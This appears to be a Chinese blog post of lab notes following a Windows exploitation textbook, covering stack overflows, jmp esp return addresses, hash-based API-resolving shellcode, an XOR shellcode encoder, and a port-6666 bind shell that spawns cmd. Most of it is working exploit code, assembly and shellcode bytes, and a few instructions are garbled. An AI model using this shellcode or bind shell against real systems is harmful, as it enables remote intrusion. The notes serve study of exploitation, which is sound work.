0day安全实操记录(1)

主要参考了 https://wohin.me/ 师傅的 blog

  • Chapter2 stack overflow

    顺着执行流跟到判断部分

    image-20220314131819640

    strcpy 那一句没什么必要但存在明显栈溢出,相当于留下后门了。

    strcmp:

    若参数s1s2 字符串相同则返回0s1 若大于s2 则返回 1s1 若小于s2 则返回 -1 (0xFFFFFFFF)。
    

    这里直接尝试执行代码,首先修改一下源码,增加 buf 的容量并引入 user32.dll(通过 MessageBox 函数弹窗)

    #include <stdio.h>
    #include <windows.h>
    #define PASSWORD "1234567"
    int verify_password (char *password)
    {
    	int authenticated;
    	char buffer[44];
    	authenticated=strcmp(password,PASSWORD);
    	strcpy(buffer,password);//over flowed here!	
    	return authenticated;
    }
    main()
    {
    	int valid_flag=0;
    	char password[1024];
    	FILE * fp;
    	LoadLibrary("user32.dll");//prepare for messagebox
    	if(!(fp=fopen("password.txt","rw+")))
    	{
    		exit(0);
    	}
    	fscanf(fp,"%s",password);
    	valid_flag = verify_password(password);
    	if(valid_flag)
    	{
    		printf("incorrect password!\n");
    	}
    	else
    	{
    		printf("Congratulation! You have passed the verification!\n");
    	}
    	fclose(fp);
    }
    

    然后就是常规的栈溢出思路,不过这里要找一下 MessageBox 的地址

    然后编写 shellcode

    xor ebx, ebx
    push ebx				; null
    push 626F6A2D
    push 646F6F67			; good-job
    mov eax, esp
    push ebx ; uType		; Message 的 4 个参数(倒序)
    push eax ; lpCaption
    push eax ; lpText
    push ebx ; hWnd
    mov eax, 0x77D507EA	; MessageBox 地址
    call eax
    

    转成二进制

    33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0
    

    剩余空间用 nop(90)填充,生成最后的 shellcode

    33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00
    

    image-20220314175857443

  • Chapter3 shellcode

    上一个实验中的是先写入 shellcode ,然后通过覆盖 ret 直接跳转,但由于动态链接库的装载和卸载,Windows 进程的函数栈帧可能发生移位,也就是说 shellcode 在内存中的地址是动态变化的。

    所以 shellcode 写入的位置应该是一个可查的,无论是相对还是绝对,但需要有一条或多条指令可以跳转到这个位置,这里是把 shellcode 的起点写到了 esp 指向的地址,esp 指向的地址刚好在 ret 上面,也就是退栈之后调用函数的栈的范围,同时又能找一条 jmp esp 的指令跳转过去,可行!

    两种调用的不同:

    image-20220314182806323

    首先要从 user32.dll 中找到 jmp esp 的地址,可以写个简单的程序找一下。

    #include <windows.h>
    #include <stdio.h>
    #define DLL_NAME "user32.dll"
    int main()
    {
    	BYTE* ptr;
    	int position, address;
    	HINSTANCE handle;
    	BOOL done_flag = FALSE;
    	handle = LoadLibrary(DLL_NAME);
    
    	if (!handle) {
    		printf(" load dll erro !");
    		exit(0);
    	}
    
    	ptr = (BYTE*)handle;
    
    	for (position = 0; !done_flag; position++) {
    		try {
    			if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) {
    				//0xFFE4 is the opcode of jmp esp
    				int address = (int)ptr + position;
    				printf("OPCODE found at 0x%x\n", address);
    			}
    		}
    		catch (...) {
    			int address = (int)ptr + position;
    			printf("END OF 0x%x\n", address);
    			done_flag = true;
    		}
    	}
    }
    

    image-20220314204714911

    随便选一个就好,然后找一下 ExitProcess 的地址,保证程序正常退出。

    接着就是想办法拿到对应的机器码,这里的做法是把 shellcode 内联汇编并编译,然后再在 OllyDbg 中复制出来。

    #include <windows.h>
    
    int main()
    {
    	HINSTANCE LibHandle;
    	char dllbuf[11] = "user32.dll";
    	LibHandle = LoadLibrary(dllbuf);
    	_asm{
    		sub sp, 0x440
    		xor ebx, ebx
    		push ebx
    		push 0x626F6A2D
    		push 0x646F6F67
    		mov eax, esp
    		push ebx ; uType
    		push eax ; lpCaption
    		push eax ; lpText
    		push ebx ; hWnd
    		mov eax, 0x77D507EA
    		call eax
    		push ebx
    		mov eax, 0x7C81CAFA
    		call eax
    	}
    	return 0;
    }
    

    其中 sub sp, 0x440 是为了通过抬高栈顶保护 shellcode

    在 od 中选中 shellcode 代码并复制,在前面补充上 nop 和 jmp esp 的地址

    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 5B 96 DC 77 33 DB 53 68 2D 6A 6F 62
    68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77
    FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90
    

    image-20220314213735051

    但再仔细想想,其实这种布置也存在很大的弊端

    1. 占用空间大
    2. 调用函数的栈帧可能会被破坏

    优化后的模型:

    image-20220315063342980

    和第二种方式相比,移动到了 esp 下方的地址,充分利用之前栈帧,同时又能准确定位,最后的代码:

    #include <windows.h>
    
    int main()
    {
    	HINSTANCE LibHandle;
    	char dllbuf[11] = "user32.dll";
    	LibHandle = LoadLibrary(dllbuf);
    	_asm{
    		nop
    		nop
    		nop
    		sub sp, 0x440
    
    		xor ebx, ebx
    		push ebx
    		push 0x626F6A2D
    		push 0x646F6F67
    
    		mov eax, esp
    		push ebx ; uType
    		push eax ; lpCaption
    		push eax ; lpText
    		push ebx ; hWnd
    
    		mov eax, 0x77D507EA
    		call eax
    
    		push ebx
    		mov eax, 0x7C81CAFA
    		call eax
    
    		nop
    		nop
    		nop
    	}
    	return 0;
    }
    

    最后的 exp:

    90 90 90 66 81 EC 40 04 33 DB 53 68 2D 6A 6F 62
    68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77
    FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90
    90 90 90 90 5B 96 DC 77 8B C4 83 E8 38 FF E0 90
    

    从开始到 90 90 90 部分是 shellcode,5B 96 DC 77 是覆盖 ret 的部分(jmp esp),之后就是 jmp esp-X,具体实现为:

    mov eax, esp
    sub eax, 0x38
    jmp eax
    

    这里除了 jmp 指令,还有很多跳转指令可以选,在遇到无法精准定位的时候,可以利用填充足够多的 nop 滑到 shellcode 的开始地址。

  • chapter3 通用 shellcode

    对于不同操作系统,不同补丁环境下精准定位函数地址。

    通用测试方法:shellcode 放到字符串中并当作指令执行。

    char shellcode[] = "...";
    
    int main()
    {
    	_asm{
    		lea eax, shellcode
    		push eax
    		ret
    	}
    	return 0;
    }
    

    在 win32 中,ntdll.dll 和 kernel32.dll 是所有程序都会加载的。

    定位 kernel32.dll 中 API 的方法:

    image-20220315080758632

    在 Name Table 中查找所需函数并获取其 index,用此 index 去 RVA Table 中获得 RVA,最后 RVA + base 就是函数绝对地址。

    同样的查找方式在其他库中也是类似的。

    通过 Hash搜索函数

    在内存中用字符串匹配是一件非常愚蠢的事(目前这么觉得),所以我们可以先对函数名做简单的 hash 计算,然后在 shellcode 中通过 hash 查找函数。(很像 fastjson 的黑名单过滤,过滤的是类的 hash 而不是类名)。

    #include <windows.h>
    #include <stdio.h>
    
    DWORD GetHash(char *func_name)
    {
    	DWORD digest = 0;
    	while(*func_name) {
    		digest = ((digest << 25) | (digest >> 7));
    		digest += *func_name;
    		func_name++;
    	}
    	return digest;
    }
    
    int main()
    {
    	DWORD hash;
    	char func_name[20] = {0};
    	printf("Function to be hashed: ");
    	scanf("%19s", func_name);
    
    	hash = GetHash(func_name);
    
    	printf("Result of hash is %.8x\n", hash);
    
    	return 0;
    }
    

    image-20220315083425074

    有了 hash,可以动手写 shellcode 了

    image-20220315083612748

    首先将增量标志清零,防止字符串处理方向发生变化。

    nop
    nop
    nop
    CLD	; clear flag DF,(DF: 方向标志位。在串处理指令中,控制每次操作后si 、di 的增减。)
    

    把 hash 的值压入栈中:

    ; store hash
    push 0x1e380a6a ; MessageBoxA
    push 0x4fd18963 ; ExitProcess
    push 0x0c917432 ; LoadLibraryA
    mov esi, esp	; esi = addr of first function's hash
    lea edi, [esi - 0xc] ; edi = addr to start writing function
    

    抬高栈顶,保护 shellcode

    ; get some stack space
    xor ebx, ebx
    mov gh, 0x04
    sub esp, ebx
    

    然后把 user32.dll 压入栈,方便将来 LoadLibrary

    ; push a pointer to "user32" to stack
    mov bx, 0x3233	; rest of ebx is null(bx is "32")
    push ebx
    push 0x72657375 ; "user"
    push esp ; the pointer
    xor edx, edx
    

    然后获取 kernel32.dll 的基址(base),原理就是前面那张图

    ; find base addr of kernel32.dll
    mov ebx, fs:[edx + 0x30]	; ebx = address of PEB
    mov ecx, [ebx + 0x0c]	; ecx = pointer to loader data
    mov ecx, [ecx + 0x1c]	; ecx = pointer first entry in initialization order list
    mov ecx, [ecx]	; ecx = second entry in list (kernel32.dll)
    mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
    

    确定了 base 就继续定位库函数,每成功定位一次,就把函数地址写入之前保存它的名称的 hash 的地方,方便后续调用。

    find_lib_functions:
        lodsd	; load next hash into al and increment esi
        cmp eax, 0x1e380a6a	; hash of MessageBoxA - trigger
                            ; LoadLibrary("user32.dll")
        jne find_functions
        xchg eax, ebp	; save current hash
        call [edi - 0x8]	; LoadLibraryA
        xchg eax, ebp	; restore current hash, and update ebp with base address of user32.dll
    

    具体定位过程:

    find_functions:
    	pushad	; preserve registers
    	mov eax, [ebp + 0x3c] ; start of PE header
    	mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
    	add ecx, ebp ; ecx = absolute addr of export table
    	mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
    	add ebx, ebp ; ebx = absolute addr of names table
    	xor edi, edi ; edi will count through the functions
    	
    next_function_loop:
    	inc edi ; increment function counter
    	mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
    	add esi, ebp ; esi = absolute addr of current function name
    	cdq ; dl will hold hash (We know eax is small)
    	
    hash_loop:
    	movsx eax, byte ptr[esi]
    	cmp al, ah
    	jz compare_hash
    	ror edx, 7
    	add edx, eax
    	inc esi
    	jmp hash_loop
    	
    compare_hash:
    	cmp edx, [esp + 0x1c] ; compare ti the requested hash (before we 'pushad' it is in eax)
    	jnz next_function_loop
    

    然后就是名称表的定位,首先看一下 PE 文件的导出表:

    typedef struct _IMAGE_EXPORT_DIRECTORY {
      uint32_t Characteristics;
      uint32_t TimeDateStamp;
      uint16_t MajorVersion;
      uint16_t MinorVersion;
      uint32_t Name;	// PE 文件的模块名
      uint32_t Base;
      uint32_t NumberOfFunctions;	// 总导出函数的个数
      uint32_t NumberOfNames;		// 有名称的函数的个数,因为有的导出函数没有名字,只有序号
      uint32_t AddressOfFunctions;     // RVA from base of image 这三个就是所谓的EAT,导出地址表
      uint32_t AddressOfNames;         // RVA from base of image Nt头基址加上这个偏移得到的数组中存放所有的名称字符串
      uint32_t AddressOfNameOrdinals;  // RVA from base of image Nt头基址加上这个偏移得到的数组中存放所有的函数序号,并不一定是连续的,但一般和导出地址表是一一对应的
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    

    定位序号的过程:

    mov ebx, [ecx + 0x24]	; ebx = relative offset of ordinals table
    add ebx, ebp	; ebx = absolute addr of ordinals table
    mov di, [ebx + 2 * edi]	; di = ordinal number of matched function
    mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
    add ebx, ebp	; ebx = absolute addr of address table
    add ebp, [ebx + 4 * edi] ; add to ebp (base of module) the relative offset of matched function
    xchg eax, ebp	; move func addr into eax
    pop edi	; edi is last onto stack in pushad
    stosd	; write function addr to [edi] and increment edi
    
    push edi
    
    popad	; restore registers
    		; loop until we reach end of last hash
    cmp eax, 0x1e380a6a
    jne find_lib_functions
    

    找到之后就可以调用了

    function_call:
    	xor ebx, ebx
    	push ebx
    	push ebx
    	push 0x626F6A2D
    	push 0x646F6F67
    	
    	mov eax, esp
    	push ebx ; uType
    	push eax ; lpCaption
    	push eax ; lpText
    	push ebx ; hWnd
    	
    	call [edi - 0x04]
    	
    	push ebx
    	call [edi - 0x08]
    	
    	nop
    	nop
    	nop
    	nop
    

    最后生成的 shellcode :

    char shellcode[] = 
    "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
    "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
    "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
    "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
    "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
    "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
    "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
    "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
    "\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
    "\x53\xff\x57\xfc\x53\xff\x57\xf8";
    
    int main(){
    	_asm{
    		lea eax, shellcode
    		push eax
    		ret
    	}
    	return 0;
    }
    
  • chapter3 shellcode 编码技术

    当输入部分有限制的时候,需要构造特定的 shellcode,比如之前某 ctf 题目中要求 shellcode 必须是可见字符。

    可以通过简单的异或操作进行编码,把解码器和 shellcode 一同传入,注意这里的限制条件:

    • 用于异或的key必须是shellcode中没有出现过的字节,不然异或生成0x00 会发生截断
    • 开始和中间不能有 0x90,它将作为 shellcode 结束的标志

    看一下编码器(异或 0x44):

    #include "stdio.h"
    char popup_general[]=
    "shellcode";//shellcode should be ended with 0x90
    
    void encoder (char* input, unsigned char key, int display_flag)// bool display_flag
    {
    	int i=0,len=0;
    	FILE * fp;
    	unsigned char * output;
    	len = strlen(input);
    	output=(unsigned char *)malloc(len+1);
    	if(!output)
    	{
    		printf("memory erro!\n");
    		exit(0);
    	}
    	//encode the shellcode
    	for(i=0;i<len;i++)
    	{
    		output[i] = input[i]^key;
    	}
    	if(!(fp=fopen("encode.txt","w+")))
    	{
    		printf("output file create erro");
    		exit(0);
    	}
    	fprintf(fp,"\"");
    	for(i=0;i<len;i++)
    	{		
    		fprintf(fp,"\\x%0.2x", output[i]);
    		if((i+1)%16==0)
    		{			
    			fprintf(fp,"\"\n\"");
    		}
    	}
    	fprintf(fp,"\";");
    	fclose(fp);
    	printf("dump the encoded shellcode to encode.txt OK!\n");
    	if(display_flag)//print to screen
    	{
    		for(i=0;i<len;i++)
    		{
    			printf("%0.2x ",output[i]);
    			if((i+1)%16==0)
    			{
    				printf("\n");
    			}
    		}
    	}
    	free(output);
    }
    void main()
    {
    	encoder(popup_general,0x44,1);
    	getchar();
    }
    

    可以看出就是简单的异或操作,加了一些输出格式的修改

    解码器:

        add eax, 0x14
        xor ecx, ecx
    decode_loop:
        mov bl, [eax + ecx]
        xor bl, 0x44
        mov [eax + ecx], bl
        inc ecx
        cmp bl, 0x90
        jne decode_loop
    

    为了确定具体要解码的范围,把 0x90 作为结束符

    最终的编码后 shellcode :

    char shellcode[] = "\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1"
    "\xd4\xd4\xd4\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76"
    "\x30\xd5\x48\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff"
    "\x77\x76\x17\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf"
    "\x0f\x48\xcf\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a"
    "\x31\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47"
    "\x89\xcf\x1d\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b"
    "\xfa\x42\x7e\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10"
    "\x60\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58"
    "\x47\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31"
    "\xed\x77\x9f\x17\x17\x2c\x69\x2e\x2b\x26\x2c\x23\x2b\x2b\x20\xcf"
    "\x80\x17\x14\x14\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4\xd4\xd4\xd4";
    
    int main(){
    	_asm{
    		lea eax, shellcode
    		push eax
    		ret
    	}
    	return 0;
    }
    
  • chapter 3 shellcode 缩小技术

    恶意的东西越小可能出现的意外就越少,在 x86 指令集中,很多功能相似的指令在机器码长度上有很大的差距,这就有了优化的空间(像 arm 这种精简指令集这种方法就不适应)

    指令 含义
    xarg eax, reg 交换eax和其他寄存器的值
    lodsd mov eax, [esi]; esi += 4
    lodsb mov al, [esi]; esi += 1
    stosd mov [edi], eax; edi += 4
    stosb mov [edi], eax; edi += 1
    pushad 将EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI压栈
    popad 将EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI反向弹出

    本次实验目标是实现一个 bind_shell,也就是正向链接的 shell,需要绑定 shell 到指定端口,并允许外部网路连接这个 shell。

    需要导出的函数:

    # in kernel32.dll
    LoadLibraryA    # 装载ws2_32.dll
    CreateProcessA  # 为客户端创建shell命令窗口
    ExitProcess     # 退出程序
    # in ws2_32.dll
    WSAStartup      # 初始化winsock
    WSASocketA      # 创建套接字
    bind            # 绑定套接字到本地端口
    listen          # 监听外部连接
    accept          # 处理一个外部连接
    

    关于 hash 算法的重新选择:

    1. 不能有 hash 碰撞(如果存在,但我们需要的函数就是所有碰撞函数中的第一个,那就是可行的)
    2. hash 尽可能短(kernel32.dll 中有超过 900 个,而长度为 8bit 的单字节能表示 256 种可能)
    3. 算法的代码实现尽可能短
    4. hash 过后的摘要可以当指令用,即机器码相同(非必要)

    最终作者总结的 hash 算法:

    hash_loop:
        lodsb
        xor al, 0x71
        sub dl, al
        cmp al, 0x71
        jne hash_loop
    

    经过处理后的函数名 hash:

    Name Hash Instruction
    LoadLibraryA 0x59 pop ecx
    CreateProcessA 0x81 -
    ExitProcess 0xc9 -
    WSAStartup 0xd3 -
    WSASocketA 0x62 -
    bind 0x30 -
    listen 0x20 从0x81到0x20相当于 or ecx, 0x203062d3
    accept 0x41 inc ecx

    首先放入 hash 和 字符串

    ; start of shellcode 
    ; assume: eax points here 
    ; function hashes (executable as nop-equivalent) 
    	_emit 0x59	; LoadLibraryA ; pop ecx 
    	_emit 0x81 	; CreateProcessA ; or ecx, 0x203062d3 
    	_emit 0xc9 	; ExitProcess 
    	_emit 0xd3 	; WSAStartup 
    	_emit 0x62 	; WSASocketA 
    	_emit 0x30 	; bind 
    	_emit 0x20 	; listen 
    	_emit 0x41 	; accept ; inc ecx 
    ; "CMd" 
    	_emit 0x43 	; inc ebx 
    	_emit 0x4d 	; dec ebp 
    	_emit 0x64 	; FS: 
    

    经过布置后的内存结构

    image-20220315164125293

    然后把 esi 和 edi 分别指向 hash 函数和未来函数地址被写入的开始位置:

    ; start of proper code
    	cdq						; set edx = 0 (eax points to stack so is less than 0x80000000)	; cdq:把 EAX 的第 31 bit 复制到 EDX 的每一个 bit 上
    	xchg eax, esi 			; esi = addr of first function hash	; xchg: exchange
    	lea edi, [esi - 0x18]	; edi = addr to start writing function address (last addr will be written just before "cmd")
    

    接着定位库和 API, 和之前操作相似不过要切换到 ws2_32。

    ; find base addr of kernel32.dll 
    	mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
    	mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
    	mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list 
    	mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
    	mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll 
    	
    ; make some stack space 
    	mov dh, 0x03 			; sizeof(WSADATA) is 0x190 
    	sub esp, edx
    	
    ; push a pointer to "ws2_32" onto stack 
    	mov dx, 0x3233 			; rest of edx is null 
    	push edx 
    	push 0x5f327377 
    	push esp 
    	
    find_lib_functions: 
    	lodsb 					; load next hash into al and increment esi 
    	cmp al, 0xd3 			; hash of WSAStartup - trigger 
    							; LoadLibrary("ws2_32") 
    	jne find_functions 
    	xchg eax, ebp 			; save current hash 
    	call [edi - 0xc] 		; LoadLibraryA 
    	xchg eax, ebp 			; restore current hash, and update ebp 
    							; with base address of ws2_32.dll 
    	push edi 				; save location of addr of first winsock function 
    
    find_functions: 
    	pushad 						; preserve registers 
    	mov eax, [ebp + 0x3c]		; eax = start of PE header 
    	mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
    	add ecx, ebp 				; ecx = absolute addr of export table 
    	mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
    	add ebx, ebp 				; ebx = absolute addr of names table 
    	xor edi, edi 				; edi will count through the functions 
    	
    next_function_loop:
    	inc edi						; increment function counter 
    	mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
    	add esi, ebp 				; esi = absolute addr of current function name 
    	cdq 						; dl will hold hash (we know eax is small) 
    	
    hash_loop: 
    	lodsb 					; load next char into al and increment esi 
    	xor al, 0x71 			; XOR current char with 0x71 
    	sub dl, al 				; update hash with current char 
    	cmp al, 0x71 			; loop until we reach end of string 
    	jne hash_loop 
    	cmp dl, [esp + 0x1c] 	; compare to the needed hash (saved on stack by pushad) 
    	jnz next_function_loop
    

    定位成功后确定地址

    mov ebx, [ecx + 0x24]	; ebx = relative offset of ordinals table 
    add ebx, ebp			; ebx = absolute addr of ordinals table
    mov di, [ebx + 2 * edi]	; di = ordinal number of matched function 
    mov ebx, [ecx + 0x1c]	; ebx = relative offset of address table
    add ebx, ebp			; ebx = absolute addr of address table 
    add ebp, [ebx + 4 * edi]; add to ebp (base addr of module) the 
        					; relative offset of matched function 
    

    把地址写入到 shellcode 开头的空间,并完成循环

    xchg eax, ebp			; move func addr into eax
    pop edi					; edi is last onto stack in pushad
    stosd					; write function addr to [edi] and increment edi
    push edi
    
    popad					; restore registers
    cmp esi, edi			; loop until we reach end of last hash
    jne find_lib_function
    pop esi					; saved location of first winsock function
    						; we will lodsd and call each func in sequence
    

    到现在已经做好了 API 的准备了,接下来开始设置端口以及 socket 连接,用 lodsd / call eax 依次调用:

    首先要调用 WInsock,需要用 WSAStartup 初始化,直接指向之前抬高栈顶开辟的那块空间就行:

    int WSAStartup(
      _In_  WORD      wVersionRequested,
      _Out_ LPWSADATA lpWSAData
    );
    
    ; initialize winsock
    	push esp		; use stack for WSADATA
    	push 0x2		; wVersionRequested
    	lodsd			; mov eax,[esi],esi=esi+4;
    	call eax		; WSAStartup
    

    若成功则返回 0,结束后 eax 的值为 0,这里添加一些辅助函数:

    ; null-terminate "cmd"
    	mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked
    	mov
    

    调用的许多函数时都不需要参数(传入 NULL),这里清空一下栈,减少压入 NULL 的操作

    ; clear some stack to use as NULL parameters
    	lea ecx, [eax + 0x30]		 ; sizeof(STARTUPINFO) = 0x44 ; 循环次数
    	mov edi, esp				; 循环操作起始地址
    	rep stosd					; eax is still 0 ; 开始循环
    

    然后调用 WSASocket 函数,除了前两个参数其他都是 NULL

    SOCKET WSASocket(
      _In_ int                af,
      _In_ int                type,
      _In_ int                protocol,
      _In_ LPWSAPROTOCOL_INFO lpProtocolInfo,
      _In_ GROUP              g,
      _In_ DWORD              dwFlags
    );
    
    ; create socket
    	inc eax
    	push eax			; type = 1 (SOCK_STREAM)
    	inc eax
    	push eax			; af = 2 (AF_INET)
    	lodsd				
    	call eax			; WSASocketA
    	xchg ebp, eax		; save SOCKET descriptor in ebp (safe from being changed by remaining API calls)
    

    然后是网络编程中需要的 bind() / listen() / accept() 函数

    int bind(
      _In_ SOCKET                s,
      _In_ const struct sockaddr *name,
      _In_ int                   namelen
    );
    
    struct sockaddr_in {
            short   sin_family;
            u_short sin_port;
            struct  in_addr sin_addr;
            char    sin_zero[8];
    };
    

    需要关注的就是 sockaddr_in 的前两个变量:指定 AF_INET 和 6666,其他的都是 NULL 不用管。

    ; push bind parameters
    	mov eax, 0x0a1aff02		; 0x1a0a = port 6666,0x2 = AF_INET 
    							; 如果有 00 会发生截断
    	xor ah, ah				; remove the ff from eax 
    	push eax	 			; we use 0x0a1a0002 as both the name (struct 
    							; sockaddr) and namelen (which only needs to 
    							; be large enough) 
    	push esp 				; pointer to our sockaddr struct 
    

    然后是 listen 和 accept

    int listen(
      _In_ SOCKET s,
      _In_ int    backlog
    );
    
    SOCKET accept(
      _In_    SOCKET          s,
      _Out_   struct sockaddr *addr,
      _Inout_ int             *addrlen
    );
    

    注意 accept 返回的是 socket,而 bind 和 listen 成功后返回 0,

    这里讲 accept,bind 和 listen 都放在一个循环体中(以返回是不是 0 作为中止条件,要把 accept 防止最下面),防止占用过多的 shellcode 空间

    ; call bind(), listen() and accept() in turn 
    call_loop:
    	push ebp					; saved SOCKET descriptor (we implicitly pass 
    								; NULL for all other params) 
    	lodsd
    	call eax					; call the next function
    	test eax, eax 				; bind() and listen() return 0, accept() 
    								; returns a SOCKET descriptor 
    	jz call_loop 
    

    最后调用 CreateProcess 执行

    BOOL WINAPI CreateProcess(
      _In_opt_    LPCTSTR               lpApplicationName,
      _Inout_opt_ LPTSTR                lpCommandLine,
      _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
      _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
      _In_        BOOL                  bInheritHandles,
      _In_        DWORD                 dwCreationFlags,
      _In_opt_    LPVOID                lpEnvironment,
      _In_opt_    LPCTSTR               lpCurrentDirectory,
      _In_        LPSTARTUPINFO         lpStartupInfo,
      _Out_       LPPROCESS_INFORMATION lpProcessInformation
    );
    
    typedef struct _STARTUPINFO {
      DWORD  cb;
      LPTSTR lpReserved;
      LPTSTR lpDesktop;
      LPTSTR lpTitle;
      DWORD  dwX;
      DWORD  dwY;
      DWORD  dwXSize;
      DWORD  dwYSize;
      DWORD  dwXCountChars;
      DWORD  dwYCountChars;
      DWORD  dwFillAttribute;
      DWORD  dwFlags;
      WORD   wShowWindow;
      WORD   cbReserved2;
      LPBYTE lpReserved2;
      HANDLE hStdInput;
      HANDLE hStdOutput;
      HANDLE hStdError;
    } STARTUPINFO, *LPSTARTUPINFO;
    

    _STARTUPINFO 结构体指明了 "cmd" 字符串,并把客户端的 socket 作为 std 句柄,其中大部分变量都可以是 NULL,把其中的 STARTF_USESTDHANDLES 标志位设为 true,然后把 accpet 接收到的 socket 传给 hStdInput,hStdOutput,hStdError 。

    ; initialise a STARTUPINFO structure at esp 
    	inc byte ptr [esp + 0x2d]	; set STARTF_USESTDHANDLES to true
    	sub edi, 0x6c				; point edi at hStdInput in STARTUPINFO
    	stosd 						; use SOCKET descriptor returned by accept 
    								; (still in eax) as the stdin handle 
    	stosd 						; same for stdout 
    	stosd						; same for stderr (optional) 
    								; eax的内容存储到edi指向的内存单元中,同时edi的值根据方向标志的值增加或者减少
    
    ; create process 
    	pop eax 			; set eax = 0 (STARTUPINFO now at esp + 4) 
    	push esp			; use stack as PROCESSINFORMATION structure 
    	; (STARTUPINFO now back to esp) 
    	push esp 			; STARTUPINFO structure 
    	push eax 			; lpCurrentDirectory = NULL 
    	push eax 			; lpEnvironment = NULL 
    	push eax 			; dwCreationFlags = NULL 
    	push esp 			; bInheritHandles = true 
    	push eax 			; lpThreadAttributes = NULL 
    	push eax 			; lpProcessAttributes = NULL 
    	push esi 			; lpCommandLine = "cmd" 
    	push eax 			; lpApplicationName = NULL 
    	call [esi - 0x1c] 	; CreateProcessA 
    

    其中 PROCESSINFORMATION 结构体是一个 out 型参数,只需要提供一个栈空间即可。

    ; call ExitProcess() 
    	call [esi - 0x18] ; ExitProcess
    

    代码起点:eax 指向 shellcode 的开始位置。

  • 参考文献

posted @   moon_flower  阅读(131)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示